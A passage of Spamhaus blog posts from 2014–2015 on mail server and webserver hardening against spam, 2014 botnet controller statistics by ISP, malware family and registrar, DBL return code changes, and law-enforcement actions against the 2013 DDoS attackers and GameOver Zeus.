more email than it should or receiving high levels of traffic to unexpected web URLs or unexpected ports. An abuse team is expected to handle spam complaints and abuse reports, and supervise issues until they are resolved. For example, if a server at an IP address on the ISP's network is infected by spam-sending malware, an abuse desk should see the spike in traffic from that server. If the spam is sent to a large ISPs that offers a feedback loop, or to honeypot email addresses owned by a reputation service, the abuse desk should notice the increased spam in the feedback loops that it subscribes to. A power user (such as somebody who runs their own mail server) might also report the spam to the ISP abuse contact. Because of these and other resources, the ISP abuse team should be aware of the situation and able to shut down the infected server quickly to prevent further spam and further risk to innocent users until the server is secured. Look with suspicion at ISPs whose abuse issues are handled by the same team that handles ordinary customer support issues. Effective management of abuse requires a different skill set than customer support. The goal of a customer support representative is to resolve problems that the customer has with the service. The goal of an abuse team is to resolve problems that the customer is causing to the community. Because of the different and possibly even conflicting focus of the two teams, abuse and customer support functions should be separate even at a small ISP. A medium-sized or large ISP should have a completely independent team responsible for security and abuse. This team should work in close contact with administration and sales, and be able to terminate abusive customers and prevent repeated signups of such people. Consider changing your ISP if your current ISP does not appear handle abuse and security issues properly. You do not want to find your email blocked because your ISP tolerates spam and abuse on the same network that you use. Like driving a car without insurance, ignoring abuse issues appears cheaper initially, but can prove to be extremely expensive in the long run. REJECT AS MUCH INBOUND SPAM AS POSSIBLE The Spamhaus Project offers several IP address and domain databases that, if properly used, lower the amount of inbound spam reaching mailboxes to a very low level, without blocking any significant amount of legitimate mails. If mail volumes are not very high (see the usage terms), these databases can be freely used. It is, however, very important that they are used properly. This boils down to: Using the IP-based SBL, XBL and PBL databases at the SMTP connection level against the source IP address initiating the connection (this is the DNSBL normal usage); Using the domain-based DBL database at the SMTP level, ideally checking three things: the sender domain (MAIL FROM), the name of the connecting server according to HELO and the name of the connecting server according to reverse DNS. One should choose a mail server software that supports these checks; Have software linked to the mail server that does a further analysis of the mail contents (both headers and body), looking for IP addresses and domains appeared in Received lines and in the body as URLs and checking them against the SBL, XBL and DBL databases. Quite often, the results of these checks are combined with other checks to build a "spam score" for the message which is then used to decide whether to deliver the message in the normal user mailbox, or in a separate folder, or to throw it away altogether. All these three components should be considered as absolutely necessary. No new installation should be made without these three components in place. See also: Effective spam filtering. PREVENT OUTBOUND SPAM Emission of spam is caused by either a person or unit within the organization that decides to send spam, or by a security problem that allows other people to send spam from your IP address. The first case does not have a technical solution, however, all employees working in marketing should be fully aware that all the email addresses used for bulk mailings should have specifically requested to receive emails about your products or services through a confirmed opt-in procedure (for further informations see our mailing lists page and the Marketing FAQs). In this note we want to address the second case, which is far more common. The overwhelming majority of spam caused by security problems falls into one of the following four categories (that sometimes partially overlap): Malware trojans & viruses Malware programs are downloaded on computers using a variety of tricks and are then used by criminals for various nefarious tasks. Sending spam is just one of them. While scanning the machines using antiviruses is always a good thing, nowadays a lot of malware manages to escape detection by constantly changing. The best thing to do is to set up things so that they are simply unable to send mail outside thanks to firewalling. Our CBL FAQs give several suggestions in this direction, giving a special attention to the case where NAT is used and trojans may have a direct negative impact on your legitimate mail flow. Basically you should not allow any machine which is not the mail server to initiate SMTP connections (port 25 as the destination) toward external hosts. Only the mail server should be able to send mail. This measure will make trojans that bypass the mail server simply ineffective. Open relay Your mail system should not behave as an open relay, that is, allowing anyone in the world to connect to the server and send mail to anyone in the world. We have recently published The return of the open relays dedicated to this problem. The main issue discussed in this article is that today's firewalls and other protection boxes are often responsible for open relay setups, rather than the mail server itself. But testing for an open relay is extremely easy and should always be done, every time the mail system configuration is modified. If the test is passed, you do not have this problem. Compromised accounts A very common reason for the emission of spam from your mail server is the existence of passwords that are known to spammers, either by guessing, phishing or malware spying. Spam through compromised passwords: can it be stopped? is an article dedicated to this problem. Keep the strength of your users' passwords under control, and make sure that your server writes the account name in the logs whenever a mail is sent using SMTP AUTH authentication (unfortunately, some mail server software products do not do this using the default configuration). It also helps to have the account information in the headers of outbound messages. If your mail server allows it, define per-user limits in the amount of mails that can be sent using authentication in a certain amount of time. Besides mail servers, all the devices in your LAN (including routers) should not have accounts with the default or a very simple password, independently from the protocol they use (telnet, ftp, ssh, etc): any unauthorized login is a potential source of abuse. Compromised web servers Many security problems resulting in emission of spam occur on the web space. If abusers have the capability of uploading web pages without authorization on a web server, they can upload abusive contents they advertise using spam, but they can also upload, say, PHP scripts that act as mail cannons but are driven through HTTP commands. Sometimes malicious files are uploaded using FTP and compromised passwords, making the issue similar to the one discussed in the previous paragraph. Again, keeping good security of web applications and user passwords should help to prevent this occurrence. The article Stop spammers from exploiting your webserver! discusses the main issues related with the web server security. The real winner is to make it impossible for the web server to send mail directly, forcing all outgoing mail generated by web applications to pass through a SMTP wrapper using authentication and writing relevant injection informations into the message headers. MONITOR THE LOGS! Spend a small fraction of your time, or set up automated mechanisms based for instance on email counts and fraction of undelivered messages, to keep your mail server monitored. Discovering a problem and taking corrective actions quickly and before the IP address or domain reputation starts to deteriorate may actually save you time and decrease the impact of an incident on your normal mail flow. Do not forget that spam sent through a web server will leave traces in the web server logs rather than the mail server logs, and that spam sent by malware normally bypasses the mail server and leaves no traces in any logs. CONCLUSION We believe that an in-house mail server remains a viable solution for small organizations, and it should be the preferred one when privacy/confidentiality issues are considered important. While it remains true that there must be a system administrator knowledgeable in operating the mail system, this task should not be considered overwhelming once the points above are given consideration. All considered, running your own mail server may turn out to be a very good investment.

In memory of Ellen

The Spamhaus Team — Fri, 20 Feb 2015 17:46:37 GMT

On the evening of Wednesday, 18th February 2015, The Spamhaus Project lost a long-time friend and member of its team. A spam fighter from deep in the trenches, Ellen R. was known to many in this community for her earlier role at SpamCop. Fewer knew of her contributions at Spamhaus: After her retirement she came to work as a volunteer with us. Her efforts helped stop billions of spams from reaching billions of people's mailboxes. In addition to her work at SpamCop and Spamhaus, Ellen participated in anti-spam discussion fora, helped end-users learn how to cope with spam, and taught many senders the essential skills they need to keep their bulk mailings free of spam. She was nothing short of ferocious when dealing with unrepentant spammers who crossed her professional path. She attended at least one M3AAWG conference, and is most fondly remembered by her colleagues as a behind-the-scenes powerhouse and a good friend. Her passing was recognized by M3AAWG Chair Chris Roosenraad at the closing session in San Francisco with a moment of silence followed by applause throughout the conference hall. Her life made the world a better place, especially for those in this community, and she will be missed. Obituary

Spamhaus Botnet Summary 2014

The Spamhaus Team — Wed, 31 Dec 2014 09:45:00 GMT

As 2014 ends, Spamhaus reviews the botnet threats that it detected in the past year, and provides facts and useful suggestions for ISPs and web hosts on the front lines of the battle against cybercrime. To nobody's surprise, botnet activity appears to be increasing. The majority of detected botnets are targeted at obtaining and exploiting banking and financial information. Botnet controllers (C&Cs) are hosted disproportionately on ISPs with understaffed abuse departments, inadequate abuse policies, or inefficient abuse detection and shutdown processes. Botnet C&C domains are registered disproportionately with registrars in locations that have lax laws or inadequate enforcement against cybercrime. Spamhaus BCL Statistics In 2014, Spamhaus detected 7,182 distinct IP addresses that hosted a botnet controller (Command & Control server - C&C). That is an increase of 525 (or 7.88%) botnet controllers over the number we detected in 2013. Those C&Cs were hosted on 1,183 different networks. While most of these botnet controllers were hosted on compromised webservers, 3,425 (48%) met the listing criteria for the Spamhaus Botnet Controller List (BCL)") and made it onto this C&C-specific realtime data zone we provide. The BCL contains IP addresses of servers that were set up and operated by cybercriminals for the exclusive purpose of hosting a botnet controller. Because these IP addresses host no legitimate services or activities, they can be blocked (blackholed) on an ISP's or company's network without the fear of affecting legitimate traffic. IP addresses of servers that hosted other, non-botnet services (and therefore did not meet the listing criteria of BCL) were listed on the Spamhaus SBL"). Detected Botnet Controller IPs in 2014 Where were the botnet controllers hosted in 2014? The following table shows a list of ISPs ranked by number of C&Cs detected on that ISP's network during the past year. | # of C&Cs | Network | Country | | --- | --- | --- | | 189 | ovh.net | FR France (FR) | | 124 | hetzner.de | DE Germany (DE) | | 120 | leaseweb.com | NL Netherlands (NL) | | 111 | reg.ru | NL Russia (RU) | | 73 | ispserver.com | NL Russia (RU) | | 64 | infobox.ru | NL Russia (RU) | | 64 | ecatel.net | NL Netherlands (NL) | | 55 | intergenia.de | DE Germany (DE) | | 52 | balticservers.com | LT Lithuania (LT) | | 52 | worldstream.nl | NL Netherlands (NL) | | 49 | privatelayer.com | NL Switzerland (CH) | | 47 | choopa.com | US United States (US) | | 44 | digitalocean.com | US United States (US) | | 43 | itl.ua | UA Ukraine (UA) | | 35 | amazon.com | US United States (US) | | 33 | voxility.com | RO Romania (RO) | | 32 | iliad.fr | FR France (FR) | | 30 | xserver.com.ua | UA Ukraine (UA) | | 30 | ihc.ru | NL Russia (RU) | | 29 | severius.nl | NL Netherlands (NL) | Keep in mind that this table shows the raw number of C&Cs on each ISP. The table says nothing about how long each botnet C&C was left active, or whether the ISP heeded C&C takedown requests from Spamhaus or not. In many cases, the volume of abuse originating from an ISP is proportional to the size of the ISP's network and the number of that ISP's customers. However, the table also contains a few smaller ISPs that you might not have heard of before, but that have hosted proportionately large numbers of C&Cs. These ISPs attract more cybercriminals than other ISPs. There are several reasons that an ISP might attract disproportionate numbers of cybercriminals as customers. First, automated signup of new customers that skips or has inadequate vetting processes allows cybercriminals to set up C&Cs quickly. (See How hosting providers can battle fraudulent sign-up for information on setting up vetting.) Second, inadequately staffed abuse departments and/or lax abuse handling processes can allow cybercriminals to continue to operate for relatively long periods of time before their C&Cs are shut down. Third, the ISP's datacenter might be located in a legal jurisdiction (province or country) that lacks sufficient resources to investigate and prosecute cybercrime, or even that actively encourages it. Geolocation is important to botnet operators, who prefer to host their C&Cs outside the jurisdiction of law enforcement agencies that actively prosecute cybercrime. Let's turn our attention from individual botnet controllers to malware families - types of botnet that use similar or the same malware code. The following table shows each malware family that we detect ranked by number of detected botnet C&Cs in that malware family. | # of C&Cs | Malware | Notes | | --- | --- | --- | | 2,246 | ZeuS | e-banking Trojan | | 1,127 | Citadel | e-banking Trojan | | 566 | Asprox | Spambot | | 319 | Glupteba | ClickFraud / Blackhat SEO | | 303 | KINS | e-banking Trojan | | 187 | Neurevt | Backdoor | | 185 | Ice-IX | e-banking Trojan | | 146 | Spambot | Various Spambot families (Cutwail, Spamnost, Tofsee etc.) | | 140 | Dridex | e-banking Trojan | | 124 | Vawtrak | e-banking Trojan | | 123 | Necurs | Backdoor | | 120 | Solarbot | Backdoor | | 118 | Dyre | e-banking Trojan | | 94 | Shylock | e-banking Trojan | | 88 | Pony | Dropper | | 78 | Geodo | e-banking Trojan | | 68 | GameOver ZeuS | e-banking Trojan (GOZ) | | 42 | URLzone | e-banking Trojan | | 40 | Tinba | e-banking Trojan | | 610 | other | Other malware families | | 458 | generic | C&Cs where the associated malware could not be identified | ZeuS and other malware families that are based on the leaked source code of the ZeuS kit (such as Citadel, KINS and Ice-IX) are associated with most of the detected botnet controllers. In addition, most of detected malware families are electronic banking (e-banking) trojans used to commit financial fraud. Spamhaus DBL Statistics To host their botnet controllers, cybercriminals usually prefer to use their own domain names, as opposed to an ISP domain name and path or a bare IP address. Using a dedicated domain name allows the cybercriminal to fire up a new VPS, load the botnet controller kit, and immediately be back in contact with his botnet after his (former) hosting provider shuts down his botnet controller server. Not having to change the configuration of each infected computer (bot) on the botnet is a major advantage. Spamhaus therefore tracks both IP addresses and domain names that are used for C&C servers. IP addresses that host botnet controllers are listed in the Spamhaus SBL and/or BCL. Domain names that are used for botnet controller hosting are listed in the Spamhaus DBL"). In 2014, Spamhaus DBL listed 3,793 botnet C&C domains that were registered and set up by cybercriminals for the exclusive purpose of hosting a botnet controller. This list excludes hijacked domain names (domains owned by non-cybercriminals that were used without permission) and domains on "free sub-domain" provider services. Detected Botnet Controller Domains in 2014 There are many different top-level domains (TLDs), both generic TLDs (gTLDs) used by anybody, and country code TLDs (ccTLDs) that in many cases are restricted to use within a particular country or region (Many ccTLDs are licensed for general use and are therefore functionally equivalent to gTLDs). Let's have a look at which g/ccTLD cybercriminals chose most often for their botnet operations: | # of botnet domains | TLD | TLD Type | | --- | --- | --- | | 1,542 | com | gTLD | | 855 | ru | ccTLD | | 313 | net | gTLD | | 283 | su | ccTLD | | 156 | in | ccTLD | | 114 | biz | gTLD | | 93 | org | gTLD | | 82 | eu | ccTLD | | 78 | pw | originally ccTLD, now effectively gTLD | | 62 | info | gTLD | The table above shows that cybercriminals most often used domains in the com and net gTLDs for botnet hosting in 2014. When using domains in ccTLDs, cybercriminals chose the ru and su ccTLDs most often in 2014. TLDs do not have the same total numbers of registered domains, however. For example, the com TLD has more than 100 million registered domains, while the ru TLD has slightly fewer than five million. If we compare the total number of registered domain names in each TLD against the number of malicious domain names in that TLD seen by DBL, the two ccTLDs ru and su were those that have been most heavily abused. Let's now look at the sponsoring domain registrars favoured by cybercriminals for registering botnet controller domains in 2014. The following table shows a list of domain registrars ranked by the total number of botnet controller domains detected by Spamhaus DBL in 2014. | # of botnet domains | Domain Registrar | Country | | --- | --- | --- | | 465 | R01 | RU Russia (RU) | | 386 | RU-CENTER | RU Russia (RU) | | 378 | TODAYNIC.COM INC | CN China (CN) | | 348 | REG-RU | RU Russia (RU) | | 328 | BIZCN.COM INC | CN China (CN) | | 261 | PDR LTD | IN India (IN) | | 149 | ENOM INC | US United States (US) | | 124 | PAKNIC (PRIVATE) LIMITED | US United States (US) | | 117 | WEB COMMERCE COMMUNICATIONS LIMITED | MY Malaysia (MY) | | 78 | Webiq Domains Solutions Pvt | IN India (IN) | | 61 | REGTIME | RU Russia (RU) | | 55 | GODADDY.COM LLC | US United States (US) | | 54 | MELBOURNE IT | AU Australia (AU) | | 44 | REGISTER.COM INC | US United States (US) | | 43 | INTERNET.BS CORP | US United States (US) | | 39 | DOMAINCONTEXT INC | RU Russia (RU) | | 33 | DYNAMIC NETWORK SERVICES INC | US United States (US) | | 31 | TLD REGISTRAR SOLUTIONS LTD | GB Great Britain (GB) | | 30 | ONLINENIC INC | US United States (US) | | 28 | Namecheap | US United States (US) | As with ISPs that host botnet controllers, many of these registrars are simply large registrars. While the total numbers of botnet domains at the registrar might appear large, the registrar does not necessarily support cybercriminals. Registrars simply can't detect all fraudulent registrations or registrations of domains for criminal use before those domains go live. The "life span" of criminal domains on legitimate, well-run, registrars tends to be quite short. However, other much smaller registrars that you might never have heard of appear on this same list. Several of these registrars have an extremely high proportion of cybercrime domains registered through them. Like ISPs with high numbers of botnet controllers, these registrars usually have no or limited abuse staff, poor abuse detection processes, and some either do not or cannot accept takedown requests except by a legal order from the local government or a local court. Since many cybercrime-friendly registrars are located in countries with no or slow legal recourse against cybercrime, obtaining a legal order can be difficult or impossible. Because cybercrime-registrars will not cooperate with law enforcement and other entities to shut down botnets, a botnet with C&C domains registered through such a registrar requires lengthy, coordinated, and extensive efforts to shut down. This normally works by involving the TLD or ccTLD's registry. Meanwhile, innocent people are at risk of having online banking credentials compromised and bank accounts emptied, or other valuable information stolen for use in identity theft and fraud. Conclusion Looking forward to 2015 there are no signs there will be a decrease in botnet activity. Because techniques used by criminals online are always changing, it is best to use a multi-layered defense, which should include keeping users away from dangerous resources such as the ones described above. Spamhaus will continue working to protect internet users worldwide and continue helping networks and registrars to keep their assets clean. Have a safe 2015! ««»»

Stop spammers from exploiting your webserver!

The Spamhaus Team — Mon, 15 Dec 2014 06:00:23 GMT

For many years, speaking of "botnet spam" mainly meant speaking about compromised Windows systems. However, in the last few years this assumption is no longer entirely true. Looking at the number of distinct sources, the vast majority of emitters are still about the same as before, but looking at volumes we see that a large part of email spam now comes from abused Linux/Unix systems. Part of this volume is due to password abuse, as we discussed in a previous article, Spam through compromised passwords. Here we talk about the second big mechanism: Abuse of vulnerable webservers. The current situation is the result of vast numbers of webservers running old, unmaintained and vulnerable web applications; applications that are exploited and used to install abusive software including - but not limited to - spamware. Since these machines are usually servers hosted in datacenters instead of end-user machines sitting behind slow ADSL connections, the amount of spam they can pump out is way higher. That higher bandwidth easily explains why relatively few spam sources can contribute so heavily to the global quantity of spam. Keeping Linux (and generically \NIX, as the same advice applies to other systems as well) webservers secure is a critical component of the fight against botnet and malware-related spam. All webserver owners should know the *5 critical steps** to securing a webserver: Keep applications updated Do not install software from untrusted sources Know your applications and secure your filesystem Wrap your SMTP daemon Block direct-to-MX Sending More on those last two points will be covered in a subsequent post. The following is an introduction to how to keep webservers as secure as possible and harden them to reduce the chances of spam outbreaks: Keep applications updated 50 years of computer science have taught us how bugs are an inevitable component of code, and the only way to get rid of known bugs is to update the software and/or apply the proper patches. This should always be the first line of defense, no matter what the applications are. The various Content Management Systems (CMS) commonly used nowadays to create websites are not immune from this rule: WordPress, Joomla, Drupal and any other common platform have had security problems that were used to turn perfectly legitimate websites into massive spam cannons. Those systems provide their own tools to keep the website code up-to-date. Use them! Don't assume that your site will be safe from being compromised just because it is a minor website, unlikely to attract the interest of any hacker. People trying to exploit websites for these purposes are not trying to gain fame or Alexa scores, they just need as many compromised systems as they can get. They are interested in quantity, not quality. They use automated scanning tools to look for any possible site to crack. Every piece of web service (CMS included) shows some sort of signature that can be used to know which piece of software is running, and even search engines can be used to get very comprehensive lists of sites running on a specific platform. It is not too hard to take advantage of that and automatically try to break into a service by exploiting known vulnerabilities for that platform. That kind of activity is the reason for the number of hacking attempts you daily see in your webserver logs. Do not install software from untrusted sources Some people compromise their systems with their own hands. Installing web server software (for instance PHP modules such as plugins or themes) that has been downloaded from unofficial locations, or even worse installing pirated software, is likely to bring dangerous malware such as the CryptoPHP backdoor into your system. Criminals routinely use social engineering tricks to induce people to download software that appears to be simply a pirated copy of commercial software, but that in reality contains additional backdoor functionalities that give control of your server to the criminals. Emission of spam is just one of the several nasty effects that could occur as a result. Know your applications and secure the filesystem The steps above might not be sufficient to save you if your application was developed internally, is highly modified or is no longer maintained. Knowing your application’s access requirements can help a lot. Try to divide the directories it uses in two groups: directories containing code and assets that will not be altered by the application directories containing assets that will be altered by the application Directories in the first group don’t need to be writable by the user the web application is running as. All the web server needs to do is read the directory and/or execute the code, but it does not need to write in there under any circumstance. Directories of the second group need to be writable but since they do not contain application code there is no reason to allow execution for stuff in there. Depending on whether your application uses PHP, perl, python or any other language, you always have the chance to disable the execution of code in certain locations and directories. Do it, and disable code execution for directories that are writable for the application. Assume an attacker manages to use your application to upload arbitrary files on your web server. If the location where these files are stored allows code execution, the attacker can add his/her own code on your server and run it. The same applies to directories storing your own application’s code: if these files and directories are writable, the attacker can overwrite your own software to run his/her illicit code instead. In both conditions, you would end up allowing the execution of code provided by the attacker and losing control on what your system is running. Prevent that by strictly controlling access to directories which do not need to be altered by your application. Wrap your SMTP daemon If your system runs several websites and you find out it has been used to send spam, the first question you will ask yourself is: “How do I figure out which website got compromised and which script has been sending the spam?” Several approaches can be used in order to deal with this kind of problem, but the first and perhaps easiest one is wrapping your /usr/sbin/sendmail through a script able to add informative headers about what is injecting the email in your MTA’s queue. Take your time and search on the Internet for your specific mail server. Even if you have no idea what you are supposed to do you will be able to find at least a few implementations you can use. Use your wrapper to replace the usual sendmail binary and call the original binary from it. Make sure that local users can not relay through the local SMTP daemon by simply connecting to port 25 on localhost, or all the above would be easy to bypass. Local users should access mail servers using authenticated protocols only. This wouldn't provide knowledge of the page actually sending the email (like the the "sendmail wrapping" approach above can do), but binding each website to a set of credentials will at least allow you to identify who is generating the email. Block direct-to-MX Sending In addition to injecting spam in the local MTA queues, abusive web scripts also have another chance: opening a direct connection to the recipients’ MX and pump spam directly. It’s the server-side version of Direct-to-MX botnet spam. Make sure outgoing traffic for remote port 25/TCP is inhibited to web users. You can obtain that either through kernel security modules (like AppArmor and similar resources) or iptables (“owner” module). The only user allowed to generate direct SMTP connection should be the one on which your local MTA runs. Variations of the same concept are obviously possible, so choose the solution that better fits your needs and your architecture. A very large portion of today’s spam is transmitted this way, so addressing this point is really important. So, to summarize the last two points in an ideal configuration: Direct-to-MX is blocked entirely. The web server is not allowing non-authenticated relay, not even from localhost. All email from local users should use a wrapper for the local sendmail binary adding submission details or use port 587 (SMTP AUTH) to connect to a smarthost with userid/password. The smarthost should include the userid in a header. More information about mail servers will be posted in a subsequent article. Additional information: DBL FAQ: Tell me more about the "abused legit" part of DBL? DBL FAQ: How do I fix the problem? Help for domains listed in "abused legit" MELANI: Instructions for cleaning up websites (also available in French, German and Italian) Wordpress FAQ: My site was hacked Joomla!: Introduction to Joomla! Security Drupal: Drupal Security Team Gianmarco Pagani is an engineer and security expert in charge of many Spamhaus systems.

Second arrest in response to DDoS attack on Spamhaus

The Spamhaus Team — Mon, 07 Jul 2014 11:02:03 GMT

The Spamhaus Project again offers congratulations and thanks to the law enforcement community in the matter of the massive Distributed Denial of Service (DDoS) attack perpetrated against our systems in March 2013 by a Russian-based anti-Spamhaus group calling themselves 'Stophaus', consisting of several individuals with grievances against Spamhaus for naming and blocklisting their cybercrime hosting enterprises, spam and botnet operations. This time we offer our congratulations and thanks to the UK's National Cyber Crime Unit (NCCU), the cybercrime arm of the National Crime Agency (NCA). In a statement released on 27 Jun 2014, the NCA announced: "A 17 year old male from London has today been charged with computer misuse, fraud and money laundering offences following a National Crime Agency investigation. He was arrested in April 2013 after a series of distributed denial of service (DDoS) attacks which led to worldwide disuption of internet exchanges and services. On his arrest officers seized a number of electronic devices." This was the first formal announcement of the arrest. The actual arrest occurred in 2013, shortly after the arrest of a Dutch national living in Spain. That individual has been charged by the Dutch Public Prosecution Service for leading and orchestrating the DDoS attack. That criminal case is proceeding to trial through the Dutch legal system. At the time, the record-breaking attacks were initially directed at Spamhaus infrastructure such as websites, mailservers and nameservers. Then, over the course of the following two weeks, the attacks escalated to targeting Spamhaus' supporting networks and services including various Internet exchanges. While the DDoS caused disruptions to our website, our hosts and DNS partners, the worldwide distribution of the Spamhaus anti-spam data that now protects over 2.2 billion mailboxes was never interrupted. With two of the attackers now charged and awaiting trial, Spamhaus has hopes that the other conspirators, consisting of two United States nationals, two Russians and a Chinese national will also soon be charged. Several more spammers and cybercrime-involved server hosting company owners were peripherally involved and at this time most have been identified by both Spamhaus and law enforcement. Further reading: London schoolboy secretly arrested over 'world's biggest cyber attack' @London Evening Standard London Youth Charged With Spamhaus DDoS Attack @Info-Security Spamhaus suffers largest DDoS attack in history – entire internet affected @Info-Security London Internet Exchange hit by suspected DDoS attack @ComputerWeekly Conversations with a Bulletproof Hoster @Krebs on Security

New IPv6 CIDR searching tools released: grepcidrs

The Spamhaus Team — Fri, 20 Jun 2014 01:02:29 GMT

Moving into IPv6 presents many, many challenges. Among the myriad tasks which are required in that transition, many IT admins and techs will find the need to search and filter IPv4 and IPv6 addresses matching CIDR patterns in data related to both those IP addressing systems. The standard tool for many admins to do that in IPv4 has been 'grepcidr' by Jem Berkes. With sponsorship from Spamhaus to develop the tool for IPv6, Jem has recently released grepcidr 2.0. Please join us in enjoying this fine new tool, and in thanking Jem for another contribution to the world. Choices are generally a good thing, so there's a choice in grepcidr tools! John Levine has written and published grepcidr-2 to support IPv6. John notes that it is mostly compatible and has been tuned for speed. It's a code fork, just to be aware. Pick your poison and enjoy!

Changes in Spamhaus DBL DNSBL return codes

The Spamhaus Team — Sun, 15 Jun 2014 13:35:15 GMT

Spamhaus engineers have been busy developing new data for the Spamhaus Domain Block List (DBL) during the past several months. Our efforts have produced several specialized subsets of the DBL data set which will provide Spamhaus DBL users with better protection against spam as well as against other cyber threats (bots and malware) which are targeting ordinary internet users every day. This new data makes DBL more effective and versatile yet maintains DBL's goal for near zero false positives and widespread usability in production environments. The first addition covers domains used in relation to malware, similar to malware IP addresses which we already list in Spamhaus Botnet Controller List (BCL) but with the focus on domain names. These domains are involved in spreading malware ("droppers") or controlling botnets ("command and control" a/k/a C&C, C2). Users contacting these domains may either get infected or may already be infected with malicious software. By deploying this subset of the DBL it is possible to prevent users from becoming infected or to find users that are already infected (for example, through the use of a DNS Response Policy Zone (RPZ)). The second new data set covers legitimate domains hosting websites that have been compromised or otherwise abused by spammers. By compromising existing websites, often through outdated versions of popular Content Management System (CMS) packages such as Joomla or Wordpress, spammers try to use the good reputation of legitimate domains and IP addresses to improve the delivery of their spam and prolong the lifespan of the spam's payload and landing sites. Once a web server or CMS is compromised, spammers place a file on that website to redirect visitor's browsers to the spammer's website. The URL to those redirection files is then sent out in spam. Administrators can take advantage of this new DBL data by carefully using the return codes for each distinct data set. We will be adding the new return codes to all Spamhaus DNSBL mirrors beginning on July 1st, 2014. The new return codes for DBL listings are highlighted in yellow in this table: | Return Codes | Type | Note | | --- | --- | --- | | 127.0.1.2 | spam domain | | | 127.0.1.3 | spammed redirector / url shortener | (Phased out on January 7th, 2015) | | 127.0.1.4 | phish domain | | | 127.0.1.5 | malware domain | | | 127.0.1.6 | Botnet C&C domain | | | 127.0.1.102 | abused legit spam | | | 127.0.1.103 | abused legit redirector / url shortener | | | 127.0.1.104 | abused legit phish | | | 127.0.1.105 | abused legit malware | | | 127.0.1.106 | abused legit botnet C&C | | | 127.0.1.255 | IP queries prohibited! | | A complete reference of the DBL return codes can be found in the Spamhaus DBL FAQ. If you are using Spamhaus DBL data for spam filtering or any other purpose, please ensure that your application or software uses the new return codes correctly. Many applications will not care about the newer codes and will simply accept and act on any return code. Some applications may be sensitive to specific return codes and you should check that and configure your application appropriately for your usage of those new DBL data set return codes. In particular, administrators using DBL return code data should note the replacement of 127.0.1.3 for spammed redirector / url shortener domains with 127.0.1.103. We are making this change so that people who prefer to treat the new "abused legit" listings differently than dedicated spam, malware and bot domains will have a single return code range to differentiate the codes easily. For instance, Postfix works with ranges; see "reject\_rbl\_client". While it is possible to specify a list of individual return codes, such a configuration is longer, more prone to errors and more prone to require correction if new codes are released in the future. The 127.0.1.3 return code will still be available as a legacy until January 7th, 2015. Now would be a good time to update ones checking routines. IMPORTANT: We will begin pushing the new DBL return codes (yellow in the table above) to our DNSBL mirrors and datafeeds on July 1st, 2014.

Summer Break arrives early for Malware & Botnet Gang

The Spamhaus Team — Thu, 05 Jun 2014 08:10:40 GMT

After over 3-years of non-stop work stealing millions from people and companies on the internet, the cybercriminals behind the thefts will have some free time on their hands. Last week a group of Internet security organizations including the Spamhaus Project, several IT security companies, and the cybercrime departments of ten national law enforcement agencies crippled the infamous GameOver Zeus (GOZ) malware/botnet. The group also dismantled the infrastructure of the related CryptoLocker malware/ransomware. This coordinated effort was planned for some time before public action took place. Working behind the scenes, Spamhaus assisted in blocking and shutting-down several of the "backend" servers used to run GOZ and CryptoLocker. Law Enforcement Action The US FBI-led legal action, codenamed GameOver (Tovar in the UK), and simultaneous technical efforts of private sector companies and organizations, against GOZ has taken down much of its command-and-control (C&C) infrastructure. Specifically, GOZ no longer has control of the malware-generated domains that infected computers use to communicate with the GOZ C&Cs. The FBI seized these domains and, with other law enforcement agencies in other nations and private-sector partners such as Spamhaus, shut down the C&C servers. A U.S. federal grand jury has indicted 30-year-old Russian national Evgeniy Mikhailovich Bogachev with 14 counts of money laundering, bank fraud, wire fraud, conspiracy, and computer hacking. The indictment named Bogachev as the GOZ botnet's administrator, and as the owner of CryptoLocker. The FBI claims that GOZ and CryptoLocker have been used to steal over US $100 million from internet users. The Battle Continues Spamhaus uses its own data and feeds from fellow security community organizations, such as the Shadowserver Foundation, to list the IP addresses of GOZ and CryptoLocker infected computers. These IP addresses are published in the Spamhaus CBL/XBL. We also use this data to work directly with Internet Service Providers (ISPs) and many Community Emergency Response Teams (CERTs) (and invite more to work with us) to help the owners of infected (compromised) computers regain control of them. We expect that the GOZ cybercriminals’ business will be disrupted because of this effort, forcing them to rebuild their botnet before they can resume stealing from people and companies. In the meantime, many GOZ victims will be notified and helped to clean their computers of the GOZ malware. GOZ malware victims need to take advantage of this opportunity now, as the criminals will re-establish their botnet and communications with infected computers as quickly as they can. Spamhaus will monitor as the cybercriminals re-build and re-establish their communications infrastructure. As quickly as we locate new GOZ-infected computers spewing malware-laden spam, we will list the IPs in the Spamhaus XBL to protect our users. As soon as we locate new GOZ C&C servers, we will list them in our Botnet Controller List (BCL) and DNS firewall Response Policy Zone (RPZ) so that ISPs and web hosting companies can block access from their servers. Blocking access to GOZ compromised computers and C&C servers helps protect users from becoming victims even if their computers become infected with the GOZ malware. About GameOver Zeus (GOZ) GOZ is a peer-to-peer (P2P) variant of the Zeus family of bank credential-stealing malware. It uses a decentralized network infrastructure of compromised personal computers and web servers to obtain banking credentials (mostly logins and passwords) from users and route that information to the cybercriminals, who use it to empty the users' bank accounts. The GOZ malware is distributed through spammed phishing emails. GOZ-infected computers can also be used to send spam or participate in distributed denial-of-service (DDoS) attacks. Prior variants of the Zeus malware used a centralized C&C infrastructure to execute commands. This led the security community to track and shut down C&C servers. GOZ, however, uses a P2P network of infected computers to communicate and distribute data, and also encrypts its communications to evade detection. These infected computers act as a massive proxy network that is used to update the GOZ malware, distribute configuration files, and transmit stolen data back to the criminals. The GOZ malware network does not have a single point of failure, making takedown efforts more difficult. About CryptoLocker When activated, CryptoLocker encrypts certain types of data files stored on local and mounted network drives using RSA public-key cryptography. The private key is stored on the CryptoLocker control servers. CryptoLocker then displays a message to the victim, offering to decrypt the data after the victim sends payment, usually via either Bitcoin or a pre-paid voucher. If the victim does not pay by the specified deadline (typically 72 hours), CryptoLocker threatens to destroy the private key, making the encrypted files unrecoverable. Related Links Department of Justice: Press Release Story- CERT Polska: Operation #Tovar is clearly visible on our Zeus P2P monitoring- FBI: Gameover Zeus Botnet Disrupted- FBI: Wanted: Evgeniy Mikhailovich Bogachev- FBI: Declaration of Special Agent (pdf)- US CERT: Information on Gameover Zeus- NCA UK: Two-week opportunity for UK to reduce threat from powerful computer attack Symantec: International takedown wounds gameover zeus cybercrime network- Microsoft: Virus and Security Solution Center Krebs on Security: ‘Operation Tovar’ Targets ‘Gameover’ ZeuS Botnet, CryptoLocker Scourge- Slate: To Catch a Cyberthief. How the FBI foiled the dangerous malwares GameOver Zeus and Cryptolocker.- The Register: Feds hunt 30-year-old alleged to be lord of Gameover botnet Pittsburgh cybersquad leads way in fighting cybercrime 